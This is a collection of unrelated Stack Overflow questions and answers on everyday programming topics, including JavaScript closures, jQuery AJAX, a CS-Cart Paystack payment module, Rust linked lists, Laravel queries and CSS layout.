28225138	0	Not fully understanding how this closure works <p>I have an excerpt from <a href="http://stackoverflow.com/questions/111102/how-do-javascript-closures-work">How do JavaScript closures work?</a></p> <p>I am having a difficult time understanding closures. </p> <pre><code> &lt;button type="button" id="bid"&gt;Click Me!&lt;/button&gt; &lt;script&gt; var element = document.getElementById('bid'); element.onclick = (function() { // init the count to 0 var count = 0; return function(e) { // &lt;- This function becomes the onclick handler count++; // and will retain access to the above `count` if (count === 3) { // Do something every third time alert("Third time's the charm!"); //Reset counter count = 0; } }; })(); </code></pre> <p>How is the 'count' value saved between invocations? Should not it be reset every invocation by var = 0? </p>
31725967	0	 <p>I'm pretty sure Excel doesn't like it when there's empty CellFormats(). I suggest you try to remove these two</p> <pre><code>new CellFormat() { }, new CellFormat() { }, </code></pre>
5452751	0	 <p>You can't do this, it's up to the user.</p>
17360963	0	 <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt; //#include &lt;stdbool.h&gt; int main() { int m,n,t,i; char a[]="National University"; char b[]="India"; char c[100]; char d[100]; m=strlen(a); n= strlen(b); if(m&gt;n) { t=m; // strcpy(&amp;c,&amp;a); for(i=0;i&lt;n;i++) d[i]=b[i]; for(i=0;i&lt;m-n;i++) d[n+i]=32; for(i=0;i&lt;t;i++) { a[i]=a[i]^d[i]; d[i]=d[i]^a[i]; a[i]=a[i]^d[i]; } printf("a= %s \t b=%s" ,a,d); } else { t=n; // strcpy(&amp;d,&amp;b); for(i=0;i&lt;m;i++) c[i]=a[i]; for(i=0;i&lt;n-m;i++) c[m+i]=32; for(i=0;i&lt;t;i++) { c[i]=c[i]^b[i]; b[i]=b[i]^c[i]; c[i]=c[i]^b[i]; } printf("c= %s \t d=%s" ,c,b); } return 0; } </code></pre> <p>This way you can do it.You just need a loop for swapping each character. EDIT: Now its dynamic. You need not to specify length manually and I am appending NULL character at the end of shorter string. Look result at :<a href="http://ideone.com/B7lsz4" rel="nofollow">http://ideone.com/B7lsz4</a></p>
27024243	0	 <p>In my case, I was declaring a <code>const</code> in a header file, which worked fine when building and running on the device (iPhone 5), however when attempting to simulate a 4S, all of a sudden I had some 300 "duplicate symbols".</p> <p>It turns out I needed to also mark the <code>const</code> as <code>static</code> and the issue went away. Presumably it was trying to redefine the constant every time the header was referenced. The compiler isn't smart enough to just make constants static? Didn't think that would be necessary, but I guess it is.</p> <pre><code>const CGFloat kTitleAnimateDistance = 50.f; </code></pre> <p>Needed to be:</p> <pre><code>const static CGFloat kTitleAnimateDistance = 50.f; </code></pre>
461012	0	Performance Penalty (if any) in Using the 'var' Declaration in C# 3.0+ <p>Is there any performance penalty in using the var declaration in c# 3.0+? Resharper is constantly nagging me to use it liberally, and I want to know if there is any downside to it.</p>
30110401	0	 <p>An iOS application doesn't receive any callbacks when it is about to be uninstalled, so it's not possible to do what you want.</p> <p>See this question <a href="http://stackoverflow.com/questions/6911361/detect-ios-application-about-to-delete">Detect iOS application about to delete?</a></p>
21541887	0	 <p>There must have been an intermittent issue. This seems to be working now.</p>
20434378	0	 <p>I disagree with the previous post. This is not a threading issue, this is an algorithm issue. The reason matlab, R, and octave wipe the floor with C++ libraries is because their C++ libraries use more complex, better algorithms. If you read the octave page you can find out what <em>they</em> do[1]: </p> <blockquote> <p>Eigenvalues are computed in a several step process which begins with a Hessenberg decomposition, followed by a Schur decomposition, from which the eigenvalues are apparent. The eigenvectors, when desired, are computed by further manipulations of the Schur decomposition.</p> </blockquote> <p>Solving eigenvalue/eigenvector problems is non-trivial. In fact its one of the few things "Numerical Recipes in C" recommends you <em>don't</em> implement yourself. (p461). GSL is often slow, which was my initial response. ALGLIB is also slow for its standard implementation (I'm getting about 12 seconds!):</p> <pre><code>#include &lt;iostream&gt; #include &lt;iomanip&gt; #include &lt;ctime&gt; #include &lt;linalg.h&gt; using std::cout; using std::setw; using std::endl; const int VERBOSE = false; int main(int argc, char** argv) { int size = 0; if(argc != 2) { cout &lt;&lt; "Please provide a size of input" &lt;&lt; endl; return -1; } else { size = atoi(argv[1]); cout &lt;&lt; "Array Size: " &lt;&lt; size &lt;&lt; endl; } alglib::real_2d_array mat; alglib::hqrndstate state; alglib::hqrndrandomize(state); mat.setlength(size, size); for(int rr = 0 ; rr &lt; mat.rows(); rr++) { for(int cc = 0 ; cc &lt; mat.cols(); cc++) { mat[rr][cc] = mat[cc][rr] = alglib::hqrndnormal(state); } } if(VERBOSE) { cout &lt;&lt; "Matrix: " &lt;&lt; endl; for(int rr = 0 ; rr &lt; mat.rows(); rr++) { for(int cc = 0 ; cc &lt; mat.cols(); cc++) { cout &lt;&lt; setw(10) &lt;&lt; mat[rr][cc]; } cout &lt;&lt; endl; } cout &lt;&lt; endl; } alglib::real_1d_array d; alglib::real_2d_array z; auto t = clock(); alglib::smatrixevd(mat, mat.rows(), 1, 0, d, z); t = clock() - t; cout &lt;&lt; (double)t/CLOCKS_PER_SEC &lt;&lt; "s" &lt;&lt; endl; if(VERBOSE) { for(int cc = 0 ; cc &lt; mat.cols(); cc++) { cout &lt;&lt; "lambda: " &lt;&lt; d[cc] &lt;&lt; endl; cout &lt;&lt; "V: "; for(int rr = 0 ; rr &lt; mat.rows(); rr++) { cout &lt;&lt; setw(10) &lt;&lt; z[rr][cc]; } cout &lt;&lt; endl; } } } </code></pre> <p>If you really need a fast library, probably need to do some real hunting. </p> <p>[1] <a href="http://www.gnu.org/software/octave/doc/interpreter/Basic-Matrix-Functions.html">http://www.gnu.org/software/octave/doc/interpreter/Basic-Matrix-Functions.html</a></p>
19775676	0	 <p>The problem is because of this:</p> <pre><code>service.WaitForStatus(ServiceControllerStatus.Stopped, timeout); </code></pre> <p>This is happening because your service has not stopped within your <code>timeout</code>. You should either set your timeout higher, or don't set a timeout at all.</p>
21800348	0	 <p>You are invoking the <code>finished</code> function, instead of passing it as an argument. To pass it, use </p> <pre><code>$.when.apply($, deferred).then(finished); </code></pre> <p>Instead of </p> <pre><code>$.when.apply($, deferred).then(finished()); </code></pre>
23413986	0	 <p>Please, try to use the frame document onready event.</p> <pre><code> printData: function(printId) { $(window.frames[printId].document).ready(function() { window.frames[printId].focus(); window.frames[printId].print(); }); } </code></pre>
8901873	0	 <p>This should do the trick</p> <pre><code>&lt;ObjectAnimationUsingKeyFrames x:Name="animation" Duration="0" Storyboard.TargetProperty="xmlnsAlias:VisualStateUtility.InitialState" Storyboard.TargetName="ExpanderButton"&gt; </code></pre> <p>Notice how a name is added to the animation, the parentheses are removed from the target property name, which is then prefixed with the xmlns alias from the xaml header.</p> <p>In your code behind you'll have to add this:</p> <pre><code>InitializeComponent(); Storyboard.SetTargetProperty(animation, new PropertyPath(Fully.Qualified.Namespace.VisualStateUtility.InitialState)); </code></pre> <p>Apparently this last step is required for animating custom attached properties. A real pain if you'd ask me.</p>
34374236	0	 <p>You cannot call a trait method without specifying on which implementation you wish to call it. It doesn't matter that the method has a default implementation.</p> <p>An actual UFCS call looks like this:</p> <pre><code>trait FooPrinter { fn print() { println!("hello"); } } impl FooPrinter for () {} fn main () { &lt;() as FooPrinter&gt;::print(); } </code></pre> <p><a href="http://is.gd/fAyAWm" rel="nofollow">playground</a></p> <p>If you don't need polymorphism on this method, move it to a <code>struct</code> or <code>enum</code>, or make it a global function.</p>
1766973	0	 <p>Warning: I may be totally misunderstanding you, but if all you want is a log file, why sweat?</p> <p>Put this in a bat file (change the path to your tools directory, and yourappname is of course your app's name):</p> <pre><code>cd "C:\devAndroid\Software\android-sdk-windows-1.6_r1\android-sdk-windows-1.6_r1\tools" adb logcat -v time ActivityManager:W yourappname:D *:W &gt;"C:\devAndroid\log\yourappname.log" </code></pre> <p>Then in your code just do something similar to this:</p> <pre><code>Log.d("yourappname", "Your message"); </code></pre> <p>To create the log, connect the USB cable and run your bat file.</p> <p>Regards</p>
10260710	0	To rewrite a javascript to jQuery <p>I'm not a sharp jquery / javascript coder yet - so I hope that there is a kind soul out there, who can help me with rewriting a javascript into a jQuery script.</p> <p>The code looks like this:</p> <pre><code>&lt;script type="text/javascript"&gt; function update_delivery_address() { elm_true = document.getElementById('delivery_same_as_invoice_true'); elm_false = document.getElementById('delivery_same_as_invoice_false'); if (!elm_true.checked &amp;&amp; !elm_false.checked) { elm_true.checked = true; } if (elm_true.checked) { document.getElementById('delivery_name').value = ''; document.getElementById('delivery_att').value = ''; document.getElementById('delivery_address').value = ''; document.getElementById('delivery_zipcode').value = ''; document.getElementById('delivery_city').value = ''; document.getElementById('delivery_email').value = ''; document.getElementById('delivery_name').disabled = true; document.getElementById('delivery_att').disabled = true; document.getElementById('delivery_address').disabled = true; document.getElementById('delivery_zipcode').disabled = true; document.getElementById('delivery_city').disabled = true; document.getElementById('delivery_email').disabled = true; } else { document.getElementById('delivery_name').disabled = false; document.getElementById('delivery_att').disabled = false; document.getElementById('delivery_address').disabled = false; document.getElementById('delivery_zipcode').disabled = false; document.getElementById('delivery_city').disabled = false; document.getElementById('delivery_email').disabled = false; } } update_delivery_address(); &lt;/script&gt; </code></pre>
18844268	0	how to input symbols through JQuery <p>i'm using JQuery and aJax with PHP to insert some data to database </p> <p>but I have a small problem, when i insert data contain (&amp;) symbol .. database read the text before (&amp;) ..</p> <p>for example .. if the title is ( Sun &amp; Moon ) . it saves it as : (Sun) only .. how can i solve it ?</p> <p>so this is my code :</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function(){ $('#submit').click(function(){ $('#result').fadeOut("fast"); $('#wait').fadeIn("slow").delay(1000); var number = $("input#number").val(); var title = $("input#title").val(); var dataAll = 'number='+ number + '&amp;title=' + title ; $.ajax({ url: "../insert/add_module/", type : "POST", data : dataAll, dataType :"html", success : function(msg){ $('#wait').fadeOut("fast"); $('#result').fadeIn("slow"); $('#result').html(msg) } }); }); }); </code></pre> <p></p>
39427221	0	Cs-Cart custom Payment button without iframe <p>I created a payment module for Cs-Cart 4, everything works well. However, loading my inline payment gateway(see paystack.com for demo) which loads a popup in an iframe is not aesthetically pleasing. </p> <p>Is there a way I can still use my custom payment button that loads a popup outside the iframe? I don't want to use the redirect to another website method, it's not nice either. </p> <p><a href="http://i.stack.imgur.com/MmdRZ.png" rel="nofollow">That's what the checkout button looks like on the page</a></p> <p><a href="http://i.stack.imgur.com/k6BLu.png" rel="nofollow">This is meant to be a fullscreen popup</a></p> <p>Current code sample for the payment module <pre><code>function fn_paystack_adjust_amount($price, $payment_currency){ $currencies = Registry::get('currencies'); if (array_key_exists($payment_currency, $currencies)) { if ($currencies[$payment_currency]['is_primary'] != 'Y') { $price = fn_format_price($price / $currencies[$payment_currency]['coefficient']); } } else { return false; } return $price; } function fn_paystack_place_order($original_order_id){ $cart = &amp; $_SESSION['cart']; $auth = &amp; $_SESSION['auth']; list($order_id, $process_payment) = fn_place_order($cart, $auth); $data = array ( 'order_id' =&gt; $order_id, 'type' =&gt; 'S', 'data' =&gt; TIME, ); db_query('REPLACE INTO ?:order_data ?e', $data); $data = array ( 'order_id' =&gt; $order_id, 'type' =&gt; 'E', // extra order ID 'data' =&gt; $original_order_id, ); db_query('REPLACE INTO ?:order_data ?e', $data); return $order_id; } if (!defined('BOOTSTRAP')) { die('Access denied'); } // Return from payment if (defined('PAYMENT_NOTIFICATION')) { if ($mode == 'return' &amp;&amp; !empty($_REQUEST['merchant_order_id'])) { if (isset($view) === false){ $view = Registry::get('view'); } $view-&gt;assign('order_action', __('placing_order')); $view-&gt;display('views/orders/components/placing_order.tpl'); fn_flush(); $code = $_REQUEST['merchant_order_id']; $merchant_order_id = fn_paystack_place_order($_REQUEST['merchant_order_id']); $amount = $_REQUEST['amount']; if(!empty($merchant_order_id) and !empty($amount)){ if (fn_check_payment_script('paystack.php', $merchant_order_id, $processor_data)) { $mode = $processor_data['processor_params']['paystack_mode']; if ($mode == 'test') { $key = $processor_data['processor_params']['paystack_tsk']; }else{ $key = $processor_data['processor_params']['paystack_lsk']; } // $key_secret = $processor_data['processor_params']['key_secret']; $order_info = fn_get_order_info($merchant_order_id); $pp_response = array(); $success = false; $error = ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"https://api.paystack.co/transaction/verify/".$code); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $headers = [ 'Authorization: Bearer '.$key, ]; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $response = curl_exec($ch); $verification = json_decode($response); if (curl_errno($ch)) { // should be 0 // curl ended with an error $cerr = curl_error($ch); curl_close($ch); throw new Exception("Curl failed with response: '" . $cerr . "'."); } curl_close ($ch); if(($verification-&gt;status===false) || (!property_exists($verification, 'data')) || ($verification-&gt;data-&gt;status !== 'success')){ $success = false; $error = ""; }else{ if ($amount == ($verification-&gt;data-&gt;amount/100)) { $success = true; }else{ $success = false; $error = "Invalid Amount"; } } if($success === true){ $pp_response['order_status'] = 'P'; $pp_response['transaction_id'] = $code; $pp_response['Status'] = 'Payment Successful'; fn_finish_payment($merchant_order_id, $pp_response); fn_order_placement_routines('route', $merchant_order_id); }else { $pp_response['order_status'] = 'O'; $pp_response['transaction_id'] = $code; $pp_response['Status'] = 'Payment Failed'; fn_finish_payment($merchant_order_id, $pp_response); fn_set_notification('E', __('error'), 'Payment Failed #'.$code); fn_order_placement_routines('checkout_redirect'); } } } else { fn_set_notification('E', __('error'), 'Payment Unsuccessful'.$_REQUEST['merchant_order_id']); fn_order_placement_routines('checkout_redirect'); } } exit; }else { $url = fn_url("payment_notification.return?payment=paystack", BOOTSTRAP, 'current'); $maintotal = $order_info['total']+$order_info['payment_surcharge']; $mode = $processor_data['processor_params']['paystack_mode']; if ($mode == 'test') { $key = $processor_data['processor_params']['paystack_tpk']; }else{ $key = $processor_data['processor_params']['paystack_lpk']; } $html = ' &lt;form action="'.$url.'" method="POST" target="_parent"&gt; &lt;input type="hidden" name="paystack_payment_id" id="paystack_payment_id" /&gt; &lt;input type="hidden" name="merchant_order_id" id="order_id" value="'.$order_id.'"/&gt; &lt;input type="hidden" name="amount" value="'.$maintotal.'"/&gt; &lt;script src="https://js.paystack.co/v1/inline.js" data-key="'.$key.'" data-email="'.$order_info['email'].'" data-amount="'.($maintotal*100).'" data-ref="'.$order_id.'" &gt; &lt;/script&gt; &lt;/form&gt;'; echo &lt;&lt;&lt;EOT {$html} &lt;/body&gt; &lt;/html&gt; EOT; exit; } ?&gt; </code></pre>
14357137	0	 <p>I afraid I don't have an immediate solution. A quick search in Chrome forum showing that this issue appeared recently. You might need to wait for an upgrade of google browser.</p> <p><a href="http://code.google.com/p/chromium/issues/detail?id=116986" rel="nofollow">http://code.google.com/p/chromium/issues/detail?id=116986</a></p>
10630061	0	 <p>Without having to increase the asset size of your app, you could create a simple UIView.</p> <pre><code>UIWindow *keyWindow = [[UIApplication sharedApplication] keyWindow]; UIView *fullscreenShadow = [[UIView alloc] initWithFrame:keyWindow.bounds]; fullscreenShadow.backgroundColor = [UIColor blackColor]; fullscreenShadow.alpha = 0.3; [keyWindow addSubview:fullscreenShadow]; </code></pre> <p>Adding it to the keyWindow will make it cover everything, except the UIStatusBar of course. I believe this will achieve your intended result. Combine it with a UIViewAnimation and bring the alpha up.</p>
36470740	0	 <p>Unfortunately, what you are trying to achieve is inherently unsafe as far as the compiler is concerned because you are creating <em>aliases</em> to <em>mutable</em> nodes. Two possible issues that the compiler will complain about:</p> <ul> <li>there is no proof that the node will not move, so the reference you take might be invalidated</li> <li>there is no proof that the node will not be mutated, so having two aliases to it (and being able to hand over two aliases to it) create a safety hole</li> </ul> <hr> <p>Now what?</p> <p>There are various approaches. If you are sure of yourself you could use <code>unsafe</code> and raw pointers, for example. However, the simpler solutions would be:</p> <ul> <li>use a <code>Vec</code> to store the nodes, and indexes to link them</li> <li>use <code>Rc</code> and <code>Weak</code></li> </ul> <p>The former is:</p> <pre><code>struct Node&lt;T&gt; { data: T, next: Option&lt;usize&gt;, random: Option&lt;usize&gt;, } pub struct List&lt;T&gt; { store: Vec&lt;Node&lt;T&gt;&gt;, } </code></pre> <p>And the latter would be:</p> <pre><code>struct Node&lt;T&gt; { data: T, next: Option&lt;Rc&lt;Node&lt;T&gt;&gt;, random: Option&lt;Weak&lt;Node&lt;T&gt;&gt;, } pub struct List&lt;T&gt; { head: Option&lt;Rc&lt;Node&lt;T&gt;&gt;, } </code></pre> <p>the latter however will not allow mutation of the internal nodes (because there is inherent aliasing) so you may need to wrap the <code>T</code> into <code>RefCell&lt;T&gt;</code>.</p>
32073948	0	Jersey - Inject variable from filter as RequestScoped <p>I want to perform authentication in a filter before my resource method is called. Within this filter I would also like to retrieve the permissions of a user and pass it on through a RequestScoped @Inject annotation. </p> <pre><code>@Authenticated public class AuthenticationFilter implements ContainerRequestFilter { @NameBinding @Retention(RetentionPolicy.RUNTIME) public @interface Authenticated {}; @Inject private ISecurityHandler handler; public AuthenticationFilter() {} @Override public void filter(ContainerRequestContext requestContext) throws IOException { // Filter out unauthorized // Retrieve user permissions this.handler.setUserPermissions(...); } } </code></pre> <p>Resource:</p> <pre><code>@Path("my-path") public class GetVisitorsDataResource { @Inject private ISecurityHandler handler; @GET @Path("resource-method") @Authenticated @Produces(MediaType.APPLICATION_JSON) public Response resource() { System.out.println(handler.getUserPermissions()); return Response.ok().build(); } } </code></pre> <p>I have registered the filter and a Factory for the injection.</p> <pre><code>public static class SecurityHandlerProvider implements Factory&lt;ISecurityHandler&gt; { @Override public ISecurityHandler provide() { System.out.println("PROVIDING SECURITY CONTEXT!"); return new SecurityHandlerImpl(); } @Override public void dispose(ISecurityHandler instance) { System.out.println("DISPOSING SECURITY CONTEXT!"); } } </code></pre> <p>I have also bound it.</p> <pre><code>bindFactory(SecurityHandlerProvider.class).to(ISecurityHandler.class).in(RequestScoped.class); </code></pre> <p>It is important that the object is created when a request is received and only accessible within that request. When the request is finished, the dispose method should be called. The only way I can achieve something similar is through the @Singleton annotation. However, the object is not destroyed after the request is completed and is shared across all requests.</p> <p>I have been investing too much time into this issue already, is there perhaps anybody that knows how to achieve the preferred result?</p>
18053943	0	Bxslider Ticker image spacing as a Wordpress plugin <p>I installed the BxSlider as a plugin for Wordpress and inserted the php script code to show above the footer on all pages.</p> <p>The images scroll perfectly across the page except I'm trying to reduce the spacing between the images to show more than one image per transition.</p> <p>To best explain the website shows as follows <a href="http://www.harvestoffalyfoodfestival.com/" rel="nofollow">http://www.harvestoffalyfoodfestival.com/</a></p> <p>How and where can I edit the html/css code to make these adjustments. The slider settings within the plugin 'Slider Margin' doesn't have any effect when entering your option amount? Thanks</p>
2301346	0	 <p>ASP.NET web sites emit HTML, CSS and javascript (just like other technologies), and as such should be readable by ALL browsers. The technology used to host the site should have little impact on its consumption by browser clients. </p> <p>The ony real concern is when non-conforming HTML or CSS is present and the web site doesn't render properly.</p>
28280193	0	 <p>You code compiles because it is valid code. It fails at runtime because you are asking it to do something illegal. According to <a href="https://msdn.microsoft.com/en-us/library/aa394146(v=vs.85).aspx" rel="nofollow">MSDN</a>:</p> <blockquote> <p><strong>SetSpeed</strong> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Not implemented.</p> </blockquote> <p>That being the case, this line will fail:</p> <pre><code> ManagementBaseObject inParams = classInstance.GetMethodParameters("SetSpeed"); </code></pre> <p>If <code>SetSpeed</code> is <em>not implemented</em> (versus simply ignored) you will get an exception trying to retrieve params related to it. Remove the Try/Catch to verify which line it happens on.</p> <p>The manufacturer may have a utility which allows this, but it seems doubtful WMI will work. If you do find such a tool, you might want to evaluate the bool property <code>VariableSpeed</code> to see if variable speeds are even supported.</p>
32201889	0	 <p>Your input is incorrect, it should be in the MathML namespace:</p> <pre><code>&lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt; &lt;apply&gt;&lt;power&gt;&lt;/power&gt;&lt;ci&gt;x&lt;/ci&gt;&lt;cn&gt;2&lt;/cn&gt;&lt;/apply&gt; &lt;/math&gt; </code></pre> <p>Not directly related to your problem but there is a newer, maintained, version of the ctop.xsl stylesheet here</p> <p><a href="https://github.com/davidcarlisle/web-xslt/tree/master/ctop" rel="nofollow">https://github.com/davidcarlisle/web-xslt/tree/master/ctop</a></p>
40999904	0	 <p>Try the below:</p> <pre><code>label.Text = dropdownlist.SelectedItem.Text; </code></pre> <p><code>SelectedItem</code> will set the label text to selected item text, example "Test".</p> <p>or this:</p> <pre><code>label.Text = dropdownlist.SelectedValue; </code></pre> <p><code>SelectedValue</code> will set the label text to selected item value, example "1".</p>
24466273	0	 <p>Use this definition file : <a href="https://github.com/borisyankov/DefinitelyTyped/blob/master/slickgrid/SlickGrid.d.ts" rel="nofollow">https://github.com/borisyankov/DefinitelyTyped/blob/master/slickgrid/SlickGrid.d.ts</a></p> <p>And add the following in some <code>.d.ts</code> file to tell typescript about your requirejs config: </p> <pre><code>declare module 'slickgrid'{ export = Slick } </code></pre> <p>This will allow you to do: </p> <pre><code>import slickgrid = require('slickgrid'); </code></pre>
6634542	0	 <p>The <code>:key =&gt; value</code> syntax only works for <code>=</code>, <code>IN</code>, and <code>BETWEEN</code> conditions (depending on whether <code>value</code> is atomic, an Array, or a Range). Anything else requires you to pass the SQL as a string:</p> <pre><code>Model.where("key LIKE ?", value) </code></pre>
36388783	0	 <p>You can do like this.</p> <pre><code>public function index(Request $request) { // Handles requests such as ".../api/products?user_id=5&amp;price=500" $products = Product::where('user_id', $request-&gt;user_id)-&gt;where('price', '&lt;=', intval($request-&gt;price))-&gt;get(); return response()-&gt;json($products); } </code></pre> <p><strong>Or:</strong></p> <pre><code>public function index(Request $request) { // Handles requests such as ".../api/products?user_id=5&amp;price=500" $products = Product::whereRaw("user_id=? and price&lt;=?", [$request-&gt;user_id, $request-&gt;price])-&gt;get(); return response()-&gt;json($products); } </code></pre> <p><strong><em>Edit after @Joel Hinz comment:</em></strong></p> <p>If you want also to pass the operator of the query you can add a new parameter to the url, for example</p> <pre><code>/api/products?user_id=5&amp;price=500&amp;op=1 </code></pre> <p>Then switch the number in the controller.</p> <pre><code>public function index(Request $request) { // Handles requests such as ".../api/products?user_id=5&amp;price=500&amp;op=1" switch(intval($request-&gt;op)){ case 1: $op = "&lt;="; break; case 2: $op = "&gt;"; break; //and so on default: return response()-&gt;json("Wrong parameters"); break; } $products = Product::whereRaw("user_id = ? and price $op ?", [$request-&gt;user_id, $request-&gt;price])-&gt;get(); return response()-&gt;json($products); } </code></pre>
7643666	0	Having difficulty getting value to post from dynamic dropdown <p>G'day, I'm having a problem getting the right value to post on a form I've made. It is passing the ID but not the name. Here's my code:</p> <pre><code>&lt;td name="tech_userlogin" id="tech_userlogin" align="right" valign="top"&gt;&lt;select name="tech_userlogin" id="tech_userlogin" class="db_field_name"&gt; &lt;?php $sql="SELECT techID, tech_userlogin FROM technicians"; $result=mysql_query($sql); $options=""; while ($row=mysql_fetch_array($result)) { $techID=$row["techID"]; $tech_userlogin=$row["tech_userlogin"]; $options.="&lt;OPTION VALUE=\"$techID\"&gt;$tech_userlogin&lt;/option&gt;"; } ?&gt; &lt;OPTION VALUE=""&gt;---Select--- &lt;?php echo $options; ?&gt; &lt;/SELECT&gt; </code></pre> <p>The form posts to this page:</p> <pre><code>&lt;?php include 'sql_connect_R.inc.php'; $id = mysql_real_escape_string($_POST['jobID']); $equip = mysql_real_escape_string($_POST['wo_equip']); $techID = mysql_real_escape_string($_POST['techID']); $tech_login = mysql_real_escape_string($_POST['tech_userlogin']); mysql_query("UPDATE work_orders SET wo_equip = UCASE('$equip'), wo_techID = '$techID', tech_userlogin = '$tech_login' WHERE jobID = '$id'"); mysql_close($con); </code></pre> <p>I'm very new to PHP/MySQL and it took me a couple of days to get something that would put the tech_userlogin into a dropdown box. That is working, but when it posts the techID comes through on both $techID and $tech_userlogin. Could someone please help me sort this out? Any help would be greatly appreciated. Cheers, Spud</p>
37181725	0	How to place 2 divs next to each others with fixed position and 100% Height <p>I'm trying to create 2 <code>div</code>s, one of them is the left sidebar and the other one is the body of the page where content shows up. What I'm trying to do is:</p> <ul> <li>make the sidebar div height 100% </li> <li>the body height 100% too</li> <li>make the body's width change when sidebar width changes.</li> </ul> <p>This is the code that I've tried so far:</p> <pre><code>#Sidebar{ background-color:#F0F0F0; height: calc(100% - 80px); width: 257px; position: fixed; left: 0; bottom: 0; overflow: hidden; white-space: nowrap; } #content { margin: 0; position: fixed; height: 100%; } </code></pre> <p>when I do this, the content <code>div</code> shows IN the Sidebar!</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#Sidebar { height: calc(100% - 80px); width: 257px; position: fixed; top:0; left: 0; bottom: 0; overflow: hidden; white-space: nowrap; border:1px solid #000; } #content { margin: 0; position: fixed; height: 100%; border:1px solid tomato; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="Sidebar"&gt; Hello World!! &lt;/div&gt; &lt;div id="content"&gt; Content Div &lt;/div&gt;</code></pre> </div> </div> Note that i use Jquery .Resizable to change the width. and this is a jsfiddle <a href="https://jsfiddle.net/j64r3bm1/" rel="nofollow">https://jsfiddle.net/j64r3bm1/</a></p>
13845678	0	 <p>I'm not sure if this'll make a difference but it's worth a try...I never wrap service arguments with quotes:</p> <pre><code>arguments: [@doctrine.orm.entity_manager] </code></pre>
14147534	0	Can I run an app without GUI on Windows Phone 7, 7.5 and 8? <p>On WP 7 and WP 7.5 I have to develop the app on C#, nonetheless, on WP8 I can develop an app on native C++</p> <p>Assuming the corresponding programming language, I was wondering if it is possible to run a process or an app without GUI on Windows Phone 7, 7.5 and 8.</p> <p>Is it possible? How can I do it? Any example around the web?</p>
5444851	0	 <p>I'm not sure if this would work/help, but you could specify something in your application web.xml.</p> <pre><code> &lt;security-constraint&gt; &lt;display-name&gt;Public access&lt;/display-name&gt; &lt;web-resource-collection&gt; &lt;web-resource-name&gt;PublicPages&lt;/web-resource-name&gt; &lt;description&gt;Public&lt;/description&gt; &lt;url-pattern&gt;/servlet/*&lt;/url-pattern&gt; &lt;/web-resource-collection&gt; &lt;user-data-constraint&gt; &lt;transport-guarantee&gt;NONE&lt;/transport-guarantee&gt; &lt;/user-data-constraint&gt; &lt;/security-constraint&gt; &lt;security-constraint&gt; &lt;display-name&gt;Secured access&lt;/display-name&gt; &lt;web-resource-collection&gt; &lt;web-resource-name&gt;SecuredPages&lt;/web-resource-name&gt; &lt;description&gt;Secured pages&lt;/description&gt; &lt;url-pattern&gt;/services/*&lt;/url-pattern&gt; &lt;/web-resource-collection&gt; &lt;auth-constraint&gt; &lt;description&gt;General Access&lt;/description&gt; &lt;role-name&gt;*&lt;/role-name&gt; &lt;/auth-constraint&gt; &lt;user-data-constraint&gt; &lt;description&gt;SSL not required&lt;/description&gt; &lt;transport-guarantee&gt;NONE&lt;/transport-guarantee&gt; &lt;/user-data-constraint&gt; &lt;/security-constraint&gt; &lt;login-config&gt; &lt;auth-method&gt;BASIC&lt;/auth-method&gt; &lt;realm-name&gt;SecurePages&lt;/realm-name&gt; &lt;/login-config&gt; &lt;security-role&gt; &lt;description&gt;General Access&lt;/description&gt; &lt;role-name&gt;*&lt;/role-name&gt; &lt;/security-role&gt; </code></pre>
38550112	0	 <p>Currently you are applying both approach adding fragment and setting adapter remove one of them and for better use.</p> <p>Please follow <a href="https://github.com/codepath/android_guides/wiki/ViewPager-with-FragmentPagerAdapter" rel="nofollow">this</a> example to add fragment with view pager.</p>
28918508	0	 <p>Actually, a method with signature <code>public static Image LoadImage(string path</code> isn't even an extension. It is just a static method, therefore to write this as you would like it simply change the class name:</p> <pre><code>public static class Image { public static Image LoadImage(string path) { using (MemoryStream ms = new MemoryStream(File.ReadAllBytes(path))) return Image.FromStream(ms); } } </code></pre>
15515520	0	Convert Word document of MS WORD 2003 To Tiff images <p>I have a word document created using MS Office 2003.Now i developed a web application using ASP.net in which i used a file upload control to upload word document files.My requirement is to convert the uploaded word document to tiff/jpg and displayed in iframe.please tell me the possible ways to achieve this.</p>
40935001	0	 <p>I think the correct status code in this case is <code>400 Bad Request</code>. The entity you expect must always have a certain line-count, so if it doesn't have that line-count the entity is invalid.</p> <p>Generally validation problems are communicated as 400 errors.</p>
5530499	0	 <p>Singular is a computer algebra system. Haskell is a programming language which computer algebra can be implemented within. You need to start simply and just learn basic Haskell syntax and concepts before trying to see the categorical/algebriac picture, especially since different elements can be implemented in different ways.</p> <p>But let's try something simple to establish a common language. The notes I give here should be consistent with the treatment here: <a href="http://en.wikibooks.org/wiki/Haskell/Category_theory" rel="nofollow">http://en.wikibooks.org/wiki/Haskell/Category_theory</a></p> <p>One approach is to describe the category <code>Hask</code>. The objects of <code>Hask</code> are all Haskell types. <code>Hask</code> contains function types, as well as pairs, so it is cartesian closed, and all its arrows are isomorphic to objects. In categorical terms, a hom-set is the collection of all morphisms between two objects. So the hom-set on (Int,Float) is the collection of all functions that turn an Int into a Float. </p> <p>Categorically, a functor between categories X and Y sends the objects of X to Y and the arrows of X to Y. It also therefore sends the hom-sets (collections of arrows) of X to Y.</p> <p>The class <code>Functor</code> in Haskell provides part of what you get with a categorical functor. It provides an operation <code>fmap</code> that sends arrows on objects in <code>Hask</code> to arrows on some other category (which, in our case, must also be composed of <em>some</em> objects from Hask). It can send functions on values to functions on lists of values, or functions on values to functions on pairs which contain values, etc.</p> <p>All that said, I would recommend learning Haskell without thinking about writing type classes or instances at all for some time. Stick to explicit data declarations and functions until you're more comfortable with the basic features of the language.</p>
